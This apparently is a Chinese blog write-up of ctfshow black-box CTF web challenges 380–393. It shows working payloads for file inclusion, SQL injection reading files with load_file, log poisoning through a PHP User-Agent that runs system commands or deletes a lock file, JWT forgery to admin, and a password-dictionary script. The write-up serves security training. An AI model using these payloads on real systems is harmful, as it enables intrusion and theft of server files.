ctfshow-黑盒测试(未全

ctfshow—黑盒测试

web380

文件包含漏洞

开启环境后,进入界面,是类似一个博客系统

没什么特别异常的东西

有许多文章,随机点入一个文章,观察到url上,为page_1.php

image-20210714235503438

尝试page_2.php,进入第二个文章

尝试去掉下划线,page.php

image-20210714235605385

提示打开$id.php失败,那么可以尝试添加?id=

image-20210714235706824

很明显的文件包含漏洞,包含了后缀为php

尝试能不能直接读取flag

image-20210714235812684

可以读取得到,最后payload:page.php?id=flag

web381

前端使用后端地址路径

打开界面和380相似,但文件包含漏洞修复了

查看源代码,发现引用css处有一处跟前面不一样

image-20210715003308651

逐级访问,直到访问到不一样的地方,出现flag

image-20210715003403155

web382

按web381进入后台地址,有登录界面

尝试用万能密码登录,成功拿到flag

image-20210715115554736

web383

和web382一样做法,万能密码登录

web384

这次提示密码为首两个为小写字母,后三个为数字

写脚本出字典

import string
s1 = string.ascii_lowercase
s2 = string.digits
f = open('dict','w');
for a in s1:
   for b in s1:
       for c in s2:
           for d in s2:
               for e in s2:
                   p = a+b+c+d+e
                   f.write(p+'\n')
f.close()

账号admin,密码xy123

web385

扫描后台,发现后门

image-20210715172320088

访问,得到如下

image-20210715172350429

然后访问install/?install,重置会密码,访问后台界面登录拿到flag

web386

扫描后台,有install.php和clear.php

访问install提示已经安装完成,并由lock.dat锁住不让重置

访问clear提示清理完成

image-20210715173032036

猜测clear.php是清理文件用的,尝试用file拼接

尝试能不能清除index.phpclear.php?file=./index.php

image-20210715173257839

发现被清除了,那么直接清除lock.dat:clear.php?file=./install/lock.dat

然后访问/install

image-20210715173349478

然后就跟上题一样做法

web387

扫描后台扫到了额外的/debug

image-20210716104455864

尝试访问,发现file not exit

那么在后面添加参数?file=/var/html/www/clear.php看能不能调用clear.php

image-20210716104635894

发现这个作用跟直接访问clear.php是一样的,相当于直接执行

然后发现可以打开日志文件:/debug/?file=/var/log/nginx/access.log

image-20210716105415429

做法一

然后添加User-Agent尝试删除lock.dat文件

<?php unlink('/var/www/html/install/lock.dat')?>

访问/debug再访问/debug/?file=/var/log/nginx/access.log写入文件

再访问/install/,发现已经删除

image-20210716112433468

剩下做法如前题

做法二

添加User-Agent,执行命令结果写入1.txt

<?php system('ls / >/var/www/html/1.txt');?>

访问/debug再访问/debug/?file=/var/log/nginx/access.log写入文件

再访问/1.txt

image-20210716113039709

发现可以看到执行命令的结果

做前面题发现,每次登录后台时发现url上都是执行check.php

猜测flag在check.php

那么查看check.php的结果写入文件内

<?php system('cat /var/www/html/alsckdfy/check.php >/var/www/html/1.txt');?>

image-20210716113418196

web388

方法和web387一样,只是没有回显

web389

条件反射 JWT

扫描到依然有/debug后门,访问

image-20210716125922433

权限不足,没登录,应该需要admin权限

查看cookie,eyJh开头,条件反射 JWT

image-20210716130011853

去JWT网站修改加密:JSON Web Tokens – jwt.io

在user处改成admin,下方随机生成密钥

image-20210716130138402

加密后修改cookie,再次访问就如上几题一样做

web390

修改JWT条件反射不行了,只能点点文章看看

发现文章上的url编码换了,变成了

/page.php?id=1,可能存在sql注入

page.php?id=1 union select 1,2,3 limit 1,1 #

发现回显2和3,那么从2和3中查询

利用sql注入读取文件

/page.php?id=1 union select 1,(select username from admin_user),substr((select load_file('/var/www/html/alsckdfy/check.php')),1,255) limit 1,1 #

php代码被注释,在元素中看到

image-20210716134537687

web391

多了个搜索框,猜测搜索为注入点

image-20210717002256615

原理一样,只是注入方式不一样

search.php?title=a' union select 1,(select username from admin_user),substr((select load_file('/var/www/html/alsckdfy/check.php')),1,255) limit 1,1 %23

web392

flag不在check.php了,尝试发现在根目录

/search.php?title=a' union select 1,(select username from admin_user),substr((select load_file('/flag')),1,255) limit 0,1 %23

web393

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇